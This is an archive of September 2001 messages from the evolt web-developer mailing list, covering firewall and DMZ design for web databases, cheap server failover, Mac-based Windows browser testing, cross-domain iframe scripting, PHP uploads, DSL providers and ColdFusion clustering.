>   "dsn=accs; database=BUYERS_CHOICE; uid=IUSR_ATLAS;"
> 

You need to create a Sytem DSN through the Control Panel on the Server
(Control Panel/ODBC Connections --make sure it's a SYSTEM DSN)

sgd




From djc at starkmedia.com  Thu Sep 20 13:53:44 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Thu Sep 20 13:53:44 2001
Subject: [thelist] Firewalls vs. Web Databases
References: <004701c141fe$00861390$0300a8c0@glenn>
Message-ID: <3BAA3808.2090608@starkmedia.com>


Glenn Hunt wrote:

> An interesting solution, but there are dangers in this setup. Assuming
> that the DB is normally behind the firewall, you have just completely
> bypassed your firewall. You leave a hole open. You would be better to
> have everything firewalled. That way you only open the incoming ports
> necessary (usually just 80, possible 443), and everything else is
> blocked. It means that a hacker has to compromise two machines to get
> anywhere - first the firewall, and then an inside machine.


I didn't really get into it, but the DB server should have some firewall 
rules(not a full blown layer 2 hardware solution(like iptables or 
ipchains on linux)) in place to only allow connections on ports 1521 and 
22(for example) for Oracle and SSH *FROM* the other machine on the 
internal network. Assuming you somehow get through the primary firewall 
in front of the webserver, you then have to crack the webserver before 
you can even begin to attempt to crack the DB.


> Having two database machines (one inside and one outside the firewall)
> seems needlessly complex. If you are worried about web access


+1


> disappearing because the firewall goes down, then the logical thing is
> to minimize the chance of the firewall "going down". There are three
> options, probably in order of preference:
> 
> 1. Load balancing hardware - Certainly the best solution, but also the
> most expensive. Would be used to divide traffic between two firewalls.


Expense is an understatement :) You pretty much triple the amount of 
hardware and have to deal with other issues that come with load 
balancing. Not to mention having to maintain it all

 
> 2. Use a hardware-based firewall. By not using a traditional "OS-based"
> firewall, the chances of failure are greatly reduced.


? I've always had an issue with people saying that 
dedicated(hardware-based) firewalls are superior to OS based firewalls. 
When you get down to it, even dedicated firewalls are OS based(PIX is 
IOS, NetRaptor is Unix, etc..). The reason dedicated firewalls are less 
failure prone is because they come pre-configed and stripped of 
unessacary hardware. Running a firewall of good server hardware and 
stripping off the crap(do you really need USB enabled on your firewall? 
etc..) has achieved *years* of uptime for me at a price usually half of 
dedicated solutions.. but thats just me :)

 
> 3. Use two firewalls and round-robin DNS. The biggest issue with this
> that the DNS would have to be updated if a firewall went down.


oy. an easier solution would just to run a warm backup firewall.

 
> The best for security is definitely everything behind the firewall, or
> at least the firewall being the only connection between the 'net and
> your private network.


My point is that Joe Cracker would have to a.) get through firewall 
rules b.) get through the webserver before c.) he ever found out even 
what network the DB server is on.

And if Joe can get through one firewall, it doesn't matter how many more 
you have behind that because he'll probably get through those too..

.djc.






From mbarrett at triad.rr.com  Thu Sep 20 13:54:22 2001
From: mbarrett at triad.rr.com (Michael Barrett)
Date: Thu Sep 20 13:54:22 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a Mac World
Message-ID: <B7CFB1F8.7DE2%mbarrett@triad.rr.com>

Hello eVolters

I've been considering two options for testing my comps and HTML templates
for browser happiness.
I work primarily on a Mac at my office, university office, and my home
office.

At my 'formal' office I have access to windows machines to test on, as I do
at the university where I teach.

However I do the majority of my work at my home office, with nary a PC to be
found.

I'm considering:
1. Buying a beater of a PC to test on.
Pros: 
Learn the windows environment and hardware better.
No mysterious goobers from emulated environment.
Cons: 
More expensive (I can purchase emulation software cheap with the academic
discount)
<sarcasm/>Doesn't match my d?cor

Or

2. Buying Virtual PC and adjusting my monitor gamma to compensate for colors
Pros: 
Cheaper (I can purchase emulation software cheap with the academic discount)
Takes up less desk space.
<sarcasm/>Feng Shui is undisturbed.
Cons:
Monitor color, even with gamma adjustment may not be accurate
Might run like a slug on crutches.
Emulation environment might introduce wacky variables into browser
operation.

<suckup/>What do you fine, gifted, skilled individuals recommend?


-- Michael Barrett
-O^O-
 - 

mbarrett at triad.rr.com
AIM: device55





From hassan at webtuitive.com  Thu Sep 20 14:14:27 2001
From: hassan at webtuitive.com (Hassan Schroeder)
Date: Thu Sep 20 14:14:27 2001
Subject: [thelist] Cheap Tricks - was Re: Firewalls vs. Web Databases
References: <004701c141fe$00861390$0300a8c0@glenn>
Message-ID: <3BAA3C53.9F582A57@webtuitive.com>

Glenn Hunt wrote:

> 3. Use two firewalls and round-robin DNS. The biggest issue with this
> that the DNS would have to be updated if a firewall went down.

... which is a very bad situation, since change propagation takes 
an indeterminate time -- but here's a trick I've used in the past
when I had no budget for fancy hardware.  

This was for three round-robined Web servers, not firewalls, but 
the principle's the same, assuming it's a *nix-based firewall.

Call 'em A, B and C. A cron job on each box pings the next machine
[ A -> B, B -> C, C -> A ] at relatively short intervals.

If, say, A gets no response from B, it waits for a small period of 
time (in case the machine's rebooting for some reason), tries again,
and if no response this time ifconfigs up a virtual interface with 
the missing machine's IP address (and sends an alert to someone's 
pager, of course!).

No fuss, no muss, and the checkbook never left the desk drawer :-)

-- 
H*
Hassan Schroeder ----------------------------- hassan at webtuitive.com 
Webtuitive Design ===  (+1) 408-938-0567   === http://webtuitive.com

    -- creating dynamic Web sites and applications since 1994 --




From gassinaumasis at hotmail.com  Thu Sep 20 14:47:59 2001
From: gassinaumasis at hotmail.com (Peter-Paul Koch)
Date: Thu Sep 20 14:47:59 2001
Subject: [thelist] Cross-site scripting
Message-ID: <LAW2-F55sL1c00goZol0000110b@hotmail.com>

>| If the domains do not share a common higher level domain,
>| it's impossible.
>|
>| ppk
>
>Peter-Paul,
>
>What about signing scripts? Can you certify them somehow?

Maybe, I'm quite hazy on the details of signing, especially since they work 
in NN only. No doubt IE will have its own, radically different take on this.

>I'm really in some dark hallway on this one.

Me too.

>At least, I think it is a hallway.

In Netscape, but in Explorer it's a corridor <g>.

ppk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp





From bill at ncpr.org  Thu Sep 20 14:48:04 2001
From: bill at ncpr.org (Bill Haenel)
Date: Thu Sep 20 14:48:04 2001
Subject: [thelist] move_uploaded_file() / security issue
Message-ID: <NEBBKJHBCLFCFFMCEMFIGEGECHAA.bill@ncpr.org>

I'm using the PHP function move_uploaded_file() to handle an image file that
will be submitted through a form (on Apache server / PHP Version 4.0.3pl1).

Everything works fine as long as I do not try to save the uploaded file out
of the directory where the script is that contains the move_uploaded_file()
function.

Any ideas on why this might be? I assume it's security related, but I'm not
sure what portion of security to be looking at, and my host has a been a bit
too busy this week to respond to the same question.

THX!

BH





From bruce at heerssen.com  Thu Sep 20 14:48:23 2001
From: bruce at heerssen.com (Bruce Heerssen)
Date: Thu Sep 20 14:48:23 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a Mac World
References: <B7CFB1F8.7DE2%mbarrett@triad.rr.com>
Message-ID: <3BAA313C.2080007@heerssen.com>

IMHO, emulation can never truly match the real thing. I suggest you pony 
up a little cash for a cheap pc. Perhaps the college can help with this? 
They might have a couple of old machines laying around somewhere that 
you could get on the cheap?

-Bruce

Michael Barrett wrote:
<snip>

>I'm considering:
>1. Buying a beater of a PC to test on.
>Pros: 
>Learn the windows environment and hardware better.
>No mysterious goobers from emulated environment.
>Cons: 
>More expensive (I can purchase emulation software cheap with the academic
>discount)
><sarcasm/>Doesn't match my d?cor
>
>Or
>
>2. Buying Virtual PC and adjusting my monitor gamma to compensate for colors
>Pros: 
>Cheaper (I can purchase emulation software cheap with the academic discount)
>Takes up less desk space.
><sarcasm/>Feng Shui is undisturbed.
>Cons:
>Monitor color, even with gamma adjustment may not be accurate
>Might run like a slug on crutches.
>Emulation environment might introduce wacky variables into browser
>operation.
>






From jayt at envision.com  Thu Sep 20 14:48:30 2001
From: jayt at envision.com (Jay Turley)
Date: Thu Sep 20 14:48:30 2001
Subject: [thelist] DSL - ISP question
Message-ID: <NEBBJLIMKLEDOOBNNLAJOEHDCLAA.jayt@envision.com>

I am getting DSL through qwest so I can work from home occasionally. Qwest
recently developed a partnership with Microsoft whereby your ISP is
automatically set up to be MSN. Don't want it. So the customer support folks
assured me that you can change your ISP anytime you want, blah blah blah...

Now, not knowing a thing about DSL, I am wondering how this will work. We'll
get a DSL modem from qwest, and we'll always be connected (with a static IP
I assume), but how does the ISP fit into the picture? How is it similar
to/different from a dial-up account? (I mean other than the fact that
voice/data go over the same line and you don't have to dial up and all
that.) Any help will be *greatly* appreciated.

<tip type="sales" target="clients">
When selling your services to potential clients, one of the most important
tools that you have at your disposal is honesty/integrity. Do not lie. Do
not misrepresent your (team's/company's) abilities. The key to a successful
sale is truthfulness combined with an honest belief that you (your
team/company) are the best possible choice for this client and their
project.
</tip>

- Jay Turley ---------------------
  jay at weberrific.org
  http://www.weberrific.org





From ghunt at hds.ca  Thu Sep 20 14:48:32 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 14:48:32 2001
Subject: [thelist] Firewalls vs. Web Databases
In-Reply-To: <OF27223509.F6F2B7AB-ON85256ACD.0064EE54@beaerospace.com>
Message-ID: <006401c1420a$569d9a80$0300a8c0@glenn>

What you have said is true, but we agree to a point - all servers should
be behind firewalls. Your setup works great, and I agree that having a
"mirror" prevents corruption of internal data, it does prevent you from
using a web application from updating anything. You are restricted to
read-only.

Also, the goal of a firewall is not just to provide an IP-level barrier
between machines, but to also control and monitor the data passing
through it. Many firewalls have the capability to "filter" out packets
that are corrupted, etc. (which forms the basis for many port 80
attacks). Also, using the same DB server for both web content and
sensitive internal data isn't the wisest thing to either.

If your application *is* only read-only, then you can set up a read-only
data connection between the DB server and the web server, again
preventing corruption of that data from the web server.

Glenn Hunt
ghunt at hds.ca

-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org] On Behalf Of
Ron_Senykoff at BEAEROSPACE.COM
Sent: Thursday, September 20, 2001 2:33 PM
To: thelist at lists.evolt.org
Subject: RE: [thelist] Firewalls vs. Web Databases



<snip>
The best for security is definitely everything behind the firewall
</snip>

I disagree.  It is definitely better... but in this case I would suggest
2 firewalls.  One for the DMZ and one protecting the internal network.
If everything is behind one firewall, then you have to leave ports open.
Leaving ports open on the firewall leaves ways for an attacker to come
in. We currently run 2 webservers, one inside the firewall and one
outside (in the DMZ).  We have one-way replication set up so that the
internal server pushes changes to external.  Even if an attacker got
into the external box and screwed it up, we still have our data and can
rebuild with minimal effort. Having a server 'internal' with port 80
open... then a hacker attacks it on port 80.  The way applications are
becoming more and more 'web-enabled' the more things are left open by
port 80.  I've seen many companies that have an intranet that is
accessible from outside -- via port 80.  They think "because it's behind
a firewall its safe," yet they left the door open.  I was poking around
with a few Notes vulnerabilities and found that I was looking at HR
information, internal job postings, help-desk applications...

Ron Senykoff



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From ghunt at hds.ca  Thu Sep 20 14:48:33 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 14:48:33 2001
Subject: [thelist] Firewalls vs. Web Databases
In-Reply-To: <3BAA3808.2090608@starkmedia.com>
Message-ID: <006601c1420c$806f8ec0$0300a8c0@glenn>

>? I've always had an issue with people saying that 
>dedicated(hardware-based) firewalls are superior to OS based firewalls.

>When you get down to it, even dedicated firewalls are OS based(PIX is 
>IOS, NetRaptor is Unix, etc..). The reason dedicated firewalls are less

>failure prone is because they come pre-configed and stripped of 
>unessacary hardware. Running a firewall of good server hardware and 
>stripping off the crap(do you really need USB enabled on your firewall?

>etc..) has achieved *years* of uptime for me at a price usually half of

>dedicated solutions.. but thats just me :)

I agree - 90% of my firewalls are FreeBSD-based, and they all enjoy the
years of uptime you extol. The only advantage that I see with
hardware-based firewalls is that since the OS is in a ROM, they tend not
to get corrupted if something goes wrong. With no moving parts (e.g.
HDD), there is just less hardware to fail.

The flipside is that they are generally speaking not nearly as flexible,
and because everything is "hidden", it becomes difficult to diagnose
problems.

Glenn Hunt
ghunt at hds.ca





From chrisg at gsnet.com  Thu Sep 20 14:48:34 2001
From: chrisg at gsnet.com (Chris George)
Date: Thu Sep 20 14:48:34 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a
	Mac World
In-Reply-To: <B7CFB1F8.7DE2%mbarrett@triad.rr.com>
Message-ID: <B7CF9DEA.665D%chrisg@gsnet.com>

I recommend going the route of buying a separate PC to do your testing on.
While Virtual PC actually does an extremely good job of emulating 98 or 200
or whichever version you get, there are some issues with the CD-ROM (for
software installation or whatever).  The Performance is actually really
good... Example: Rogue Spear (a first person game with moderate
requirements) runs like lightning on a G4-400 with 310mb ram and VirtualPC
Win2K ed.

The reasons for a separate computer (in my case):

- The gamma is just too far different on a PeeCee to ignore it
- You don't get the true performance of things like Flash or the JavaVM or
even video when running an emulator
- You gain a higher appreciation of the lack of anything intuitive on a
Wintel box
- I really really didn't want to put anything PeeCee on my Mac... Color me a
purist, but I'd also have to at least double my HD to handle the
OS/Emulator, software, browsers, etc etc.
- I don't get edu. Discounts or anything so 500 bucks including monitor for
a relatively hassle-free Dell was an awesome bargain

I have to say though, it completely ruins the look of my office - I throw a
nice blanket over it when company comes over.

"What's under there?"

"Oh, nothing, just junk for a garage sale...*"

:-)

* This is not meant as an intentionally severe jab; just playin'.

Toodles.

Chris.

on 9/20/2001 12:47 PM, Michael Barrett at mbarrett at triad.rr.com wrote:

> Hello eVolters
> 
> I've been considering two options for testing my comps and HTML templates
> for browser happiness.
> I work primarily on a Mac at my office, university office, and my home
> office.
> 
> At my 'formal' office I have access to windows machines to test on, as I do
> at the university where I teach.
> 
> However I do the majority of my work at my home office, with nary a PC to be
> found.





From ghunt at hds.ca  Thu Sep 20 14:48:35 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 14:48:35 2001
Subject: [thelist] Cold Fusion Clustering in a distributed Configuration
In-Reply-To: <F43ZUr3CrJRxKZMqA4d0000122a@hotmail.com>
Message-ID: <006501c1420b$46d25ef0$0300a8c0@glenn>

>1.) We have a server with a 700 mhz processor and 256 mg or RAM. I am 
>wondering how many sessions this server can handle before crashing?

This is dependent on what other services you are handling on the
machine, and the number and size of session/application variables, how
long the session remains active, etc.

>2.) Does anyone know what port CF uses?

For what? CF doesn't really use ports for itself. It would only use
ports for DB connections, and that would depend (I believe) on what the
DB was.

>3.) How many pages per second can CF generate? (relative to the server 
>mentioned in question 1)

That depends greatly on how much CF processing is required to generate a
page. The size of queries is probably the biggest factor.


>4.) How can I manage sessions across systems in a clustered
environment? I 
>understand that using client variables is more condusive to a cluster
based 
>environment because sessions must be maintained on a particular box
whether 
>or not load balancing is in place.

Normally this would be done with a combination of cookies and session
IDs/variables stored in a common DB. Normally session IDs are stored in
RAM. It doesn't work when clustered, because you don't know what machine
is going to serve the next page. By storing the session IDs/variables in
a common DB, you eliminate this as a factor.

Glenn Hunt
ghunt at hds.ca





From jridout at acep.org  Thu Sep 20 15:11:14 2001
From: jridout at acep.org (Jeremy Ridout)
Date: Thu Sep 20 15:11:14 2001
Subject: [thelist] Cold Fusion Clustering in a distributed Configurati
	on
Message-ID: <6195000EC0D8D411885700105AA2C0A00EDF1B@SERVER04>

This is a good article about clustering with CF. It's a year or so old, but
useful nonetheless.

http://www.advantex.net/index.cfm/fuseaction/showCFDJArticle.cfm




From bharoche at usa.net  Thu Sep 20 15:11:20 2001
From: bharoche at usa.net (Bob Haroche)
Date: Thu Sep 20 15:11:20 2001
Subject: [thelist] Virtual PC as a Windows testing environment in aMac World
References: <B7CF9DEA.665D%chrisg@gsnet.com>
Message-ID: <006501c14210$164d28f0$9865fea9@OFFICE>

> - I don't get edu. Discounts or anything so 500 bucks including monitor
for
> a relatively hassle-free Dell was an awesome bargain


Ditto what the others have said.  "Come over to the dark side".  With a PC
you can also run some server software on it that might not run as well on a
emulator.

Another 2 cents, when looking for a cheap PC, I'd recommend going with a
used Dell, which I've found to be extremely hassle-free in terms of
hardware.  Compaqs are a nightmare, Gateway is getting worse every year it
seems, HP's can be quirky, etc.


Regards,
Bob Haroche
O n P o i n t  S o l u t i o n s
http://www.OnPointSolutions.com







From ghunt at hds.ca  Thu Sep 20 15:11:33 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 15:11:33 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a Mac World
In-Reply-To: <B7CFB1F8.7DE2%mbarrett@triad.rr.com>
Message-ID: <006701c1420d$511d0930$0300a8c0@glenn>

Buy a cheap PC (used is a good idea) and put it either in the basement,
or in a closet, or in a closing cabinet.

 From my experience, PC emulation software runs like a slug on one broken
crutch dragging a 747.

Glenn Hunt
ghunt at hds.ca

> I'm considering:
> 1. Buying a beater of a PC to test on.
> Pros: 
> Learn the windows environment and hardware better.
> No mysterious goobers from emulated environment.
> Cons: 
> More expensive (I can purchase emulation software cheap with 
> the academic
> discount)
> <sarcasm/>Doesn't match my d?cor
> 
> Or
> 
> 2. Buying Virtual PC and adjusting my monitor gamma to 
> compensate for colors
> Pros: 
> Cheaper (I can purchase emulation software cheap with the 
> academic discount) Takes up less desk space. <sarcasm/>Feng 
> Shui is undisturbed.
> Cons:
> Monitor color, even with gamma adjustment may not be accurate 
> Might run like a slug on crutches. Emulation environment 
> might introduce wacky variables into browser operation.





From richard.bennett at skynet.be  Thu Sep 20 15:11:42 2001
From: richard.bennett at skynet.be (Richard Bennett)
Date: Thu Sep 20 15:11:42 2001
Subject: [thelist] Cross-site scripting
References: <Pine.BSF.4.21.0109201608040.5051-100000@slip.csosl.co.uk>
Message-ID: <091b01c17250$2c427eb0$0100a8c0@wwwv7zwbf035xj>

Hi,
Two ways that I know of:

1) The project is an internal company site, like an intra-net, change the
files to .hta, run them from the client-machines (they need to be
downloaded) and add application="yes" to the iframe.

2) You can use PHP or ASP to grab the external page's content, and load the
PHP page in the IFrame. The PHP page is the same domain.

Richard.

> However, a few of the pages for the site are farmed out of the clients
existing
> content management system (rather stubbornly, since we could provide our
own),
> and this runs on a different domain.  The IFRAME mentioned above is also
used,
> and the document within comes off of the same server as before.  Hence the
> parent document is on a DIFFERENT domain to the one in the IFRAME.  Hence
the
> scripting used to communicate between the two docuents (for the refresh
and for
> other data exchange) isn't allowed by the web browser for security
reasons.






From Ron_Senykoff at BEAEROSPACE.COM  Thu Sep 20 15:11:42 2001
From: Ron_Senykoff at BEAEROSPACE.COM (Ron_Senykoff at BEAEROSPACE.COM)
Date: Thu Sep 20 15:11:42 2001
Subject: [thelist] DSL - ISP question
Message-ID: <OF46DA0525.C3F4BEBE-ON85256ACD.006DB4E2@beaerospace.com>

<snip>
Now, not knowing a thing about DSL, I am wondering how this will work.
We'll
get a DSL modem from qwest, and we'll always be connected (with a static IP
I assume), but how does the ISP fit into the picture? How is it similar
to/different from a dial-up account? (I mean other than the fact that
voice/data go over the same line and you don't have to dial up and all
that.) Any help will be *greatly* appreciated.
</snip>

http://www.dslreports.com/

This site is great for DSL info, reviews, FAQs, etc.  I found it a great
resource before getting DSL, and continue to use it now that I have DSL as
well.  Also, don't assume that you'll be getting a static IP... I had to
switch from Bellsouth to Telocity (now DirecTVDSL) because I wanted a
static IP.

Good luck!
-Ron






From VillanoP at usachcs.army.mil  Thu Sep 20 15:11:56 2001
From: VillanoP at usachcs.army.mil (Villano, Paul)
Date: Thu Sep 20 15:11:56 2001
Subject: [thelist] HTML 4.01 Issues
Message-ID: <7788B27B9516634499F14B84C409B6906D6335@EXCH01.usachcs-emh1.army.mil>

I'm using an accessibility tool that converts PowerPoint presentations into
a more accessible format than the usual PowerPoint conversion process.  The
tool is produced by a school.  The resulting HTML files are compliant with
HTML 4.01 code and use frames (I know lots of folks hate frames but there
seems to be no way I know of to avoid that using this tool and the powers
that be like the frames because it allows folks to jump more easily from one
slide to another).  

Question:  What are the issues in using HTML 4.01, if any?  Which browsers
if any will crash, etc.?  Thanks in advance.

PAUL - "The term is over: the holidays have begun. The dream is ended: this
is the morning." And as He spoke He no longer looked to them like a lion.
(Aslan in "The Last Battle")




From wade at runstrong.com  Thu Sep 20 15:11:59 2001
From: wade at runstrong.com (Wade Armstrong)
Date: Thu Sep 20 15:11:59 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a
	Mac World
In-Reply-To: <B7CFB1F8.7DE2%mbarrett@triad.rr.com>
Message-ID: <B7CF97E1.D752%wade@runstrong.com>

The great thing about Virtual PC is that it's trivial to have different
"computers" with different OS/browser combos. Very useful for testing.

Wade

on 9/20/01 11:47 AM, Michael Barrett at mbarrett at triad.rr.com wrote:

> Hello eVolters
> 
> I've been considering two options for testing my comps and HTML templates
> for browser happiness.
> I'm considering:
> 1. Buying a beater of a PC to test on.
> Or
> 
> 2. Buying Virtual PC and adjusting my monitor gamma to compensate for colors





From mark at eurogamer.net  Thu Sep 20 15:12:00 2001
From: mark at eurogamer.net (Mark Kennedy)
Date: Thu Sep 20 15:12:00 2001
Subject: [thelist] Cross-site scripting
In-Reply-To: <LAW2-F55sL1c00goZol0000110b@hotmail.com>
Message-ID: <Pine.BSF.4.21.0109202054320.8083-100000@slip.csosl.co.uk>

Thanks for the help guys,

AFAIK, the domain suffix solution is the best I'm gonna get.  Even the MSDN docs
say so :-(

Mark

On Thu, 20 Sep 2001, Peter-Paul Koch wrote:

>>| If the domains do not share a common higher level domain,
>>| it's impossible.
>>|
>>| ppk
>>
>>Peter-Paul,
>>
>>What about signing scripts? Can you certify them somehow?
>
>Maybe, I'm quite hazy on the details of signing, especially since they work 
>in NN only. No doubt IE will have its own, radically different take on this.
>
>>I'm really in some dark hallway on this one.
>
>Me too.
>
>>At least, I think it is a hallway.
>
>In Netscape, but in Explorer it's a corridor <g>.
>
>ppk
>
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From mbarrett at triad.rr.com  Thu Sep 20 15:12:01 2001
From: mbarrett at triad.rr.com (Michael Barrett)
Date: Thu Sep 20 15:12:01 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a
	Mac World
In-Reply-To: <3BAA313C.2080007@heerssen.com>
Message-ID: <B7CFC097.7DF4%mbarrett@triad.rr.com>

They certainly do have piles of old boxes lying around. Unfortunately
schools in the UNC system have all these *rules* about selling surplus to
employees.

Of course, if an old beater of a pc disappeared in the dead of night, I
doubt anyone would mind...

> They might have a couple of old machines laying around somewhere that
> you could get on the cheap?

-- Michael Barrett
-O^O-
 - 

mbarrett at triad.rr.com
AIM: device55





From ghunt at hds.ca  Thu Sep 20 15:12:02 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 15:12:02 2001
Subject: [thelist] DSL - ISP question
In-Reply-To: <NEBBJLIMKLEDOOBNNLAJOEHDCLAA.jayt@envision.com>
Message-ID: <006901c1420f$97219e30$0300a8c0@glenn>

Up here in Canada (Ontario anyway), the DSL line is provided by Bell,
but the ISP can be whoever you want. Who you connect to is based on your
Login ID.

Kind of like you get your POTS line from a provider, but you can use
your modem to call whoever you want.

Glenn Hunt
ghunt at hds.ca

> -----Original Message-----
> From: thelist-admin at lists.evolt.org 
> [mailto:thelist-admin at lists.evolt.org] On Behalf Of Jay Turley
> Sent: Thursday, September 20, 2001 3:41 PM
> To: The List
> Subject: [thelist] DSL - ISP question
> 
> 
> I am getting DSL through qwest so I can work from home 
> occasionally. Qwest recently developed a partnership with 
> Microsoft whereby your ISP is automatically set up to be MSN. 
> Don't want it. So the customer support folks assured me that 
> you can change your ISP anytime you want, blah blah blah...
> 
> Now, not knowing a thing about DSL, I am wondering how this 
> will work. We'll get a DSL modem from qwest, and we'll always 
> be connected (with a static IP I assume), but how does the 
> ISP fit into the picture? How is it similar to/different from 
> a dial-up account? (I mean other than the fact that 
> voice/data go over the same line and you don't have to dial up and all
> that.) Any help will be *greatly* appreciated.
> 
> <tip type="sales" target="clients">
> When selling your services to potential clients, one of the 
> most important tools that you have at your disposal is 
> honesty/integrity. Do not lie. Do not misrepresent your 
> (team's/company's) abilities. The key to a successful sale is 
> truthfulness combined with an honest belief that you (your
> team/company) are the best possible choice for this client 
> and their project. </tip>
> 
> - Jay Turley ---------------------
>   jay at weberrific.org
>   http://www.weberrific.org
> 
> 
> 
> ---------------------------------------
> For unsubscribe and other options, including
> the Tip Harvester and archive of TheList go to: 
http://lists.evolt.org Workers of the Web, evolt ! 






From ghunt at hds.ca  Thu Sep 20 15:12:04 2001
From: ghunt at hds.ca (Glenn Hunt)
Date: Thu Sep 20 15:12:04 2001
Subject: [thelist] Cheap Tricks - was Re: Firewalls vs. Web Databases
In-Reply-To: <3BAA3C53.9F582A57@webtuitive.com>
Message-ID: <006801c1420e$c754bfc0$0300a8c0@glenn>

Fabulous idea!

You could expand it to be self-healing:

Have two IP addresses for each machine, one that is "live" and one for
"testing". Your existing routine would test for the "live" address.
Assuming that machine 'B' went down, machine 'A' would take over 'B's
LIVE address.

If machine B then comes back online (gets fixed), the LIVE IP for
machine 'B' will be killed because machine 'A' already has it. But
machine 'B's TEST address WILL get assigned.

Machine 'A' has been testing to see if machine 'B' has come back online
by testing for machine 'B's TEST address. When it sees machine 'B'
online, it removes machine 'B's LIVE address (ifconfig), and then
machine 'B' can assign it back to itself.


Glenn Hunt
ghunt at hds.ca

> Call 'em A, B and C. A cron job on each box pings the next 
> machine [ A -> B, B -> C, C -> A ] at relatively short intervals.
> 
> If, say, A gets no response from B, it waits for a small period of 
> time (in case the machine's rebooting for some reason), tries 
> again, and if no response this time ifconfigs up a virtual 
> interface with 
> the missing machine's IP address (and sends an alert to someone's 
> pager, of course!).





From matthewmozer at hotmail.com  Thu Sep 20 15:37:08 2001
From: matthewmozer at hotmail.com (Matt Mozer)
Date: Thu Sep 20 15:37:08 2001
Subject: [thelist] Cold Fusion Clustering in a distributed configuration
Message-ID: <F101ET7ffSsnuvPY2i0000011c2@hotmail.com>

I have a few questions if anyone can answer them:

1.) We have a server with a 700 mhz processor and 256 mg or RAM. I am
wondering how many sessions this server can handle before crashing?
2.) Does anyone know what port CF uses?
3.) How many pages per second can CF generate? (relative to the server
mentioned in question 1)
4.) How can I manage sessions across systems in a clustered environment? I
understand that using client variables is more condusive to a cluster based
environment because sessions must be maintained on a particular box whether
or not load balancing is in place.

Any thoughts or comments would be more than appreciated. And if I am not
being clear enough please let me know.


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From Anthony at Baratta.com  Thu Sep 20 16:21:30 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Thu Sep 20 16:21:30 2001
Subject: [thelist] move_uploaded_file() / security issue
In-Reply-To: <NEBBKJHBCLFCFFMCEMFIGEGECHAA.bill@ncpr.org>
Message-ID: <5.1.0.14.2.20010920142106.02c43828@baratta.com>

This might help....

"Note: When safe-mode is enabled, PHP checks whether the 
file(s)/directories you are about to operate on, have the same UID as the 
script that is being executed."

http://www.php.net/manual/en/function.move-uploaded-file.php
--
Anthony Baratta
"Conformity is the refuge of the unimaginative."

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From andrew at thepander.co.nz  Thu Sep 20 16:29:17 2001
From: andrew at thepander.co.nz (Andrew Forsberg)
Date: Thu Sep 20 16:29:17 2001
Subject: [thelist] Virtual PC as a Windows testing environment in a 
 Mac World
In-Reply-To: <B7CF97E1.D752%wade@runstrong.com>
References: <B7CF97E1.D752%wade@runstrong.com>
Message-ID: <p05100301b7d00ecae626@[192.168.1.5]>

The not so great thing about Virtual PC, in my experience, is that 
it's really unstable. Perhaps the problem is in the systems I've been 
running it on: versions one and two (win 95) on a powermac 9600 256 
mb ram, & versions three and four (win nt and 2k) on a G4 400 356mb. 
I've been buying upgrades for it since version 1, and she's never ran 
stably for more than a couple of days. An actual PC is a whole lot 
less trouble.

Andrew

>The great thing about Virtual PC is that it's trivial to have different
>"computers" with different OS/browser combos. Very useful for testing.
>
>Wade

-- 
Andrew Forsberg
---
the pander - http://thepander.co.nz/
uberNET - http://uber.net.nz/



From roselli at earthlink.net  Thu Sep 20 16:34:04 2001
From: roselli at earthlink.net (aardvark)
Date: Thu Sep 20 16:34:04 2001
Subject: [thelist] HTML 4.01 Issues
In-Reply-To: <7788B27B9516634499F14B84C409B6906D6335@EXCH01.usachcs-emh1.army.mil>
Message-ID: <200109202134.f8KLY3Ze005065@leo.evolt.org>

> From: "Villano, Paul" <VillanoP at usachcs.army.mil>
> 
> Question:  What are the issues in using HTML 4.01, if any?  Which
> browsers if any will crash, etc.?  Thanks in advance.

none...

at least, technically none... straight HTML 4.01 should give you no 
*problems*, although some browsers won't support all the features 
of HTML 4.01 (<label>, etc...)...

using lots of CSS and JS with that HTML is where you can run into 
mild problems...




From evolt at spinhead.com  Thu Sep 20 16:53:39 2001
From: evolt at spinhead.com (spinhead)
Date: Thu Sep 20 16:53:39 2001
Subject: [thelist] DSL - ISP question
References: <NEBBJLIMKLEDOOBNNLAJOEHDCLAA.jayt@envision.com>
Message-ID: <003101c1421e$a58f2b40$aa01000a@HEISENBERG>

With PacBell DSL, they provide hardware AND ISP services - one vendor.
Qwest/MSN, you get Qwest hardware (and if you have a hardware problem, call
them) and MSN ISP service (so if you have a software problem, suffer. Oops;
sorry. Just remembering being the third or fourth MSN customer, and it
hurt.)

spinhead


----- Original Message -----
From: "Jay Turley" <jayt at envision.com>
To: "The List" <thelist at lists.evolt.org>
Sent: Thursday, September 20, 2001 12:41 PM
Subject: [thelist] DSL - ISP question


> I am getting DSL through qwest so I can work from home occasionally. Qwest
> recently developed a partnership with Microsoft whereby your ISP is
> automatically set up to be MSN. Don't want it. So the customer support
folks
> assured me that you can change your ISP anytime you want, blah blah
blah...
>
> Now, not knowing a thing about DSL, I am wondering how this will work.
We'll
> get a DSL modem from qwest, and we'll always be connected (with a static
IP
> I assume), but how does the ISP fit into the picture? How is it similar
> to/different from a dial-up account? (I mean other than the fact that
> voice/data go over the same line and you don't have to dial up and all
> that.) Any help will be *greatly* appreciated.
>
> <tip type="sales" target="clients">
> When selling your services to potential clients, one of the most important
> tools that you have at your disposal is honesty/integrity. Do not lie. Do
> not misrepresent your (team's/company's) abilities. The key to a
successful
> sale is truthfulness combined with an honest belief that you (your
> team/company) are the best possible choice for this client and their
> project.
> </tip>
>
> - Jay Turley ---------------------
>   jay at weberrific.org
>   http://www.weberrific.org
>
